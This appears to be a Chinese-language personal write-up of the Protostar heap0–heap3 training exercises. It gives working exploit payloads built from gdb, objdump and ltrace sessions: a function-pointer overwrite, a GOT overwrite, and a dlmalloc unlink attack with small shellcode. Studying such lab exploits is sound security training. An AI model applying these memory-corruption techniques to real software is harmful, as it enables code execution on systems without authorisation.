感觉是比较难的一部分了,毕竟堆溢出平常接触的少。

heap 0

源码:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);
  
  f->fp();

}

先找溢出点:

user@protostar:/opt/protostar/bin$ gdb ./heap0 
Reading symbols from /opt/protostar/bin/heap0...done.
(gdb) r `python /home/user/pattern.py create 150`
Starting program: /opt/protostar/bin/heap0 `python /home/user/pattern.py create 150`
data is at 0x804a008, fp is at 0x804a050

Program received signal SIGSEGV, Segmentation fault.
0x41346341 in ?? ()

user@protostar:/opt/protostar/bin$ python /home/user/pattern.py offset 0x41346341
hex pattern decoded as: Ac4A
72

找到winner()函数的地址:

user@protostar:/opt/protostar/bin$ objdump -d heap0 | grep win
08048464 <winner>:

构造payload:

user@protostar:/opt/protostar/bin$ ./heap0 `python -c "print 'A'*72 + '\x64\x84\x04\x08' "`
data is at 0x804a008, fp is at 0x804a050
level passed

不知道是不是正解。

heap 1

先贴代码:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

出现问题的地方很容易找到,就是其中的两个strcpy的地方,但是这题想执行winner()的话,还是需要修改GOT。先注意一点,printf()会被优化称puts(),所以我们实际上是修改puts()GOT中的条目,让其调用puts()的时候调用winner()。这里就需要使用strcpy()的方式来修改GOT,让strcpy()winner()函数的地址复制到GOT表中对应的位置。

先来找这几个地址:

user@protostar:/opt/protostar/bin$ objdump -TR heap1 

heap1:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
00000000  w   D  *UND*  00000000              __gmon_start__
00000000      DF *UND*  00000000  GLIBC_2.0   __libc_start_main
00000000      DF *UND*  00000000  GLIBC_2.0   strcpy
00000000      DF *UND*  00000000  GLIBC_2.0   printf
00000000      DF *UND*  00000000  GLIBC_2.0   time
00000000      DF *UND*  00000000  GLIBC_2.0   malloc
00000000      DF *UND*  00000000  GLIBC_2.0   puts
0804862c g    DO .rodata    00000004  Base        _IO_stdin_used


DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804974c R_386_GLOB_DAT    __gmon_start__
0804975c R_386_JUMP_SLOT   __gmon_start__
08049760 R_386_JUMP_SLOT   __libc_start_main
08049764 R_386_JUMP_SLOT   strcpy
08049768 R_386_JUMP_SLOT   printf
0804976c R_386_JUMP_SLOT   time
08049770 R_386_JUMP_SLOT   malloc
08049774 R_386_JUMP_SLOT   puts

找到了puts()的地址为0x08049774,等下就要把这个地址里的内容覆盖掉。下面找一下winner()的地址:

user@protostar:/opt/protostar/bin$ objdump -d heap1 | grep win
08048494 <winner>:

winner()函数的地址为0x08048494,下面我们就需要把0x08049774中的内容替换为0x08048494。先确定这两个部分在堆中的位置。

user@protostar:/opt/protostar/bin$ ltrace ./heap1 AAAA BBBB
__libc_start_main(0x80484b9, 3, 0xbffff894, 0x8048580, 0x8048570 <unfinished ...>
malloc(8)                                                                                              = 0x0804a008
malloc(8)                                                                                              = 0x0804a018
malloc(8)                                                                                              = 0x0804a028
malloc(8)                                                                                              = 0x0804a038
strcpy(0x0804a018, "AAAA")                                                                             = 0x0804a018
strcpy(0x0804a038, "BBBB")                                                                             = 0x0804a038
puts("and that's a wrap folks!"and that's a wrap folks!
)                                                                       = 25
+++ exited (status 25) +++

可以看到大概是从0x0804a000开始的,我们在执行完两次strcpy的时候看一看内存中的情况。

user@protostar:/opt/protostar/bin$ gdb -q ./heap1 
Reading symbols from /opt/protostar/bin/heap1...done.
(gdb) b *main+161
Breakpoint 1 at 0x804855a: file heap1/heap1.c, line 34.
(gdb) r AAAA BBBB
Starting program: /opt/protostar/bin/heap1 AAAA BBBB

Breakpoint 1, main (argc=3, argv=0xbffff854) at heap1/heap1.c:34
34  heap1/heap1.c: No such file or directory.
    in heap1/heap1.c
(gdb) x/32x 0x0804a000
0x804a000:  0x00000000  0x00000011  0x00000001  0x0804a018
0x804a010:  0x00000000  0x00000011  0x41414141  0x00000000
0x804a020:  0x00000000  0x00000011  0x00000002  0x0804a038
0x804a030:  0x00000000  0x00000011  0x42424242  0x00000000
0x804a040:  0x00000000  0x00020fc1  0x00000000  0x00000000
0x804a050:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a060:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a070:  0x00000000  0x00000000  0x00000000  0x00000000

仔细观察一下,发现两个字符串被复制到了0x0804a0180x0804a038的位置,然而复制到哪里也是在堆中标明的(看看0x0804a00c和0x0804a02c中的内容),现在我们的目的是把0x0804a02c的内容改为0x08049774,让strcpy向这个地址中复制内容,而复制的内容则是由我们输入的winner地址,于是可以构造出payload

第一个参数:| junk code * 20 | p32(0x08049774) | 
第二个参数:| 0x08048494 |

最终payload如下:

user@protostar:/opt/protostar/bin$ ./heap1 `python -c "print 'A'*20 + '\x74\x97\x04\x08'"` `python -c "print '\x94\x84\x04\x08'"`
and we have a winner @ 1438772753

heap 2

先上代码:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

struct auth {
  char name[32];
  int auth;
};

struct auth *auth;
char *service;

int main(int argc, char **argv)
{
  char line[128];

  while(1) {
      printf("[ auth = %p, service = %p ]\n", auth, service);

      if(fgets(line, sizeof(line), stdin) == NULL) break;
      
      if(strncmp(line, "auth ", 5) == 0) {
          auth = malloc(sizeof(auth));
          memset(auth, 0, sizeof(auth));
          if(strlen(line + 5) < 31) {
              strcpy(auth->name, line + 5);
          }
      }
      if(strncmp(line, "reset", 5) == 0) {
          free(auth);
      }
      if(strncmp(line, "service", 6) == 0) {
          service = strdup(line + 7);
      }
      if(strncmp(line, "login", 5) == 0) {
          if(auth->auth) {
              printf("you have logged in already!\n");
          } else {
              printf("please enter your password\n");
          }
      }
  }
}

这题一开始发现了非预期漏洞:

user@protostar:/opt/protostar/bin$ ./heap2 
[ auth = (nil), service = (nil) ]
auth 123
[ auth = 0x804c008, service = (nil) ]
service 12341234123412341234123412341234
[ auth = 0x804c008, service = 0x804c018 ]
login
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]

具体为啥,调一下就知道了,主要是这句auth = malloc(sizeof(auth));出问题了,变量重名导致的。

还是不明白出题人的意图。

heap 3

这题比较复杂,涉及到free()的原理,先看源码:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
  printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  char *a, *b, *c;

  a = malloc(32);
  b = malloc(32);
  c = malloc(32);

  strcpy(a, argv[1]);
  strcpy(b, argv[2]);
  strcpy(c, argv[3]);

  free(c);
  free(b);
  free(a);

  printf("dynamite failed?\n");
}

这个题涉及到了free时候的unlink导致的溢出问题,当然这个题为了降低难度静态编译了libc库,去掉了保护措施。推荐两篇文章:

  • http://www.phrack.org/archives/issues/57/8.txt
  • http://gee.cs.oswego.edu/dl/html/malloc.html

第一篇是关于堆溢出的文章,第二篇是关于dlmalloc机制的,是dlmalloc作者自己写的。

先来看看winner()函数和puts()的地址,为后面做准备。

user@protostar:/opt/protostar/bin$ objdump -d heap3 | grep win
08048864 <winner>:

user@protostar:/opt/protostar/bin$ objdump -R heap3 

heap3:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804b0e4 R_386_GLOB_DAT    __gmon_start__
0804b140 R_386_COPY        stderr
0804b0f4 R_386_JUMP_SLOT   __errno_location
0804b0f8 R_386_JUMP_SLOT   mmap
0804b0fc R_386_JUMP_SLOT   sysconf
0804b100 R_386_JUMP_SLOT   __gmon_start__
0804b104 R_386_JUMP_SLOT   mremap
0804b108 R_386_JUMP_SLOT   memset
0804b10c R_386_JUMP_SLOT   __libc_start_main
0804b110 R_386_JUMP_SLOT   sbrk
0804b114 R_386_JUMP_SLOT   memcpy
0804b118 R_386_JUMP_SLOT   strcpy
0804b11c R_386_JUMP_SLOT   printf
0804b120 R_386_JUMP_SLOT   fprintf
0804b124 R_386_JUMP_SLOT   time
0804b128 R_386_JUMP_SLOT   puts
0804b12c R_386_JUMP_SLOT   munmap

我们丢到gdb里调试起来,看几组堆的情况。三个堆a b c在内存中的地址分别是:

a is at 0x804c008
b is at 0x804c030
c is at 0x804c058

这个只是user data开始的地址,没有算meta data部分。

在第一次free之前:

(gdb) x/40x 0x0804c000
0x804c000:  0x00000000  0x00000029  0x41414141  0x41414141
0x804c010:  0x41414141  0x41414141  0x41414141  0x41414141
0x804c020:  0x41414141  0x41414141  0x00000000  0x00000029
0x804c030:  0x42424242  0x42424242  0x42424242  0x42424242
0x804c040:  0x42424242  0x42424242  0x42424242  0x42424242
0x804c050:  0x00000000  0x00000029  0x43434343  0x43434343
0x804c060:  0x43434343  0x43434343  0x43434343  0x43434343
0x804c070:  0x43434343  0x43434343  0x00000000  0x00000f89
0x804c080:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c090:  0x00000000  0x00000000  0x00000000  0x00000000

free c之后,free b之前,注意0x0804c058这个地址被清零了。

(gdb) x/40x 0x0804c000
0x804c000:  0x00000000  0x00000029  0x41414141  0x41414141
0x804c010:  0x41414141  0x41414141  0x41414141  0x41414141
0x804c020:  0x41414141  0x41414141  0x00000000  0x00000029
0x804c030:  0x42424242  0x42424242  0x42424242  0x42424242
0x804c040:  0x42424242  0x42424242  0x42424242  0x42424242
0x804c050:  0x00000000  0x00000029  0x00000000  0x43434343
0x804c060:  0x43434343  0x43434343  0x43434343  0x43434343
0x804c070:  0x43434343  0x43434343  0x00000000  0x00000f89
0x804c080:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c090:  0x00000000  0x00000000  0x00000000  0x00000000

free b之后,free a之前,注意0x0804c030被改写成为了下一个空闲chunk的地址,即C堆开始的地方。

(gdb) x/40x 0x0804c000
0x804c000:  0x00000000  0x00000029  0x41414141  0x41414141
0x804c010:  0x41414141  0x41414141  0x41414141  0x41414141
0x804c020:  0x41414141  0x41414141  0x00000000  0x00000029
0x804c030:  0x0804c050  0x42424242  0x42424242  0x42424242
0x804c040:  0x42424242  0x42424242  0x42424242  0x42424242
0x804c050:  0x00000000  0x00000029  0x00000000  0x43434343
0x804c060:  0x43434343  0x43434343  0x43434343  0x43434343
0x804c070:  0x43434343  0x43434343  0x00000000  0x00000f89
0x804c080:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c090:  0x00000000  0x00000000  0x00000000  0x00000000

free a之后,注意0x0804c008处的内容被改为了下一个空闲chunk的地址,即b堆开始的地方。

(gdb) x/40x 0x0804c000
0x804c000:  0x00000000  0x00000029  0x0804c028  0x41414141
0x804c010:  0x41414141  0x41414141  0x41414141  0x41414141
0x804c020:  0x41414141  0x41414141  0x00000000  0x00000029
0x804c030:  0x0804c050  0x42424242  0x42424242  0x42424242
0x804c040:  0x42424242  0x42424242  0x42424242  0x42424242
0x804c050:  0x00000000  0x00000029  0x00000000  0x43434343
0x804c060:  0x43434343  0x43434343  0x43434343  0x43434343
0x804c070:  0x43434343  0x43434343  0x00000000  0x00000f89
0x804c080:  0x00000000  0x00000000  0x00000000  0x00000000
0x804c090:  0x00000000  0x00000000  0x00000000  0x00000000

初步构造payload:

user@protostar:/opt/protostar/bin$ ./heap3 A `python -c "print 'B'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + 'DDDD' + 'EEEE' "` F

在gdb里面看情况:

user@protostar:/opt/protostar/bin$ gdb -q ./heap3 
Reading symbols from /opt/protostar/bin/heap3...done.
(gdb) run A `python -c "print 'B'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + 'DDDD' + 'EEEE' "` F
Starting program: /opt/protostar/bin/heap3 A `python -c "print 'B'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + 'DDDD' + 'EEEE' "` F

Program received signal SIGSEGV, Segmentation fault.
0x080498fd in free (mem=0x804c058) at common/malloc.c:3638
3638    common/malloc.c: No such file or directory.
    in common/malloc.c
(gdb) x/i $eip
0x80498fd <free+217>:   mov    DWORD PTR [eax+0xc],edx
(gdb) i r
eax            0x44444444   1145324612
ecx            0x0  0
edx            0x45454545   1162167621
ebx            0xb7fd7ff4   -1208123404
esp            0xbffff6f0   0xbffff6f0
ebp            0xbffff738   0xbffff738
esi            0x0  0
edi            0x0  0
eip            0x80498fd    0x80498fd <free+217>
eflags         0x210202 [ IF RF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

可以看到,在执行mov DOWRD PTR [eax+0xc], edx的时候出错了,也就是要把edx的内容写入[eax+0xc]的位置,而此时EAX和EDX分别是我们可控的部分DDDD和EEEE,这样一来就能更改GOT,从而把puts函数改为winner函数。

按照这个思路构造一下payload

(gdb) run A `python -c "print 'B'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + '\x1c\xb1\x04\x08' + '\x64\x88\x04\x08' "` F

Starting program: /opt/protostar/bin/heap3 A `python -c "print 'B'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + '\x1c\xb1\x04\x08' + '\x64\x88\x04\x08' "` F

Program received signal SIGSEGV, Segmentation fault.
0x08049906 in free (mem=0x804c058) at common/malloc.c:3638
3638    in common/malloc.c
(gdb) x/i $eip
0x8049906 <free+226>:   mov    DWORD PTR [eax+0x8],edx
(gdb) i r
eax            0x8048864    134514788
ecx            0x0  0
edx            0x804b11c    134525212
ebx            0xb7fd7ff4   -1208123404
esp            0xbffff6f0   0xbffff6f0
ebp            0xbffff738   0xbffff738
esi            0x0  0
edi            0x0  0
eip            0x8049906    0x8049906 <free+226>
eflags         0x210202 [ IF RF ID ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0  0
gs             0x33 51

还需要一个shellcode跳过去,因为.text段是只读的啊。继续修改payload:

(gdb) run `python -c "print '\x90'*10 + '\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'A'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + '\x1c\xb1\x04\x08' + '\x04\xc0\x04\x08' "` F
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap3 `python -c "print '\x90'*10 + '\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'A'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + '\x1c\xb1\x04\x08' + '\x04\xc0\x04\x08' "` F
that wasn't too bad now, was it? @ 1438801558

不明白的话这个地方下个断点看看就知道了。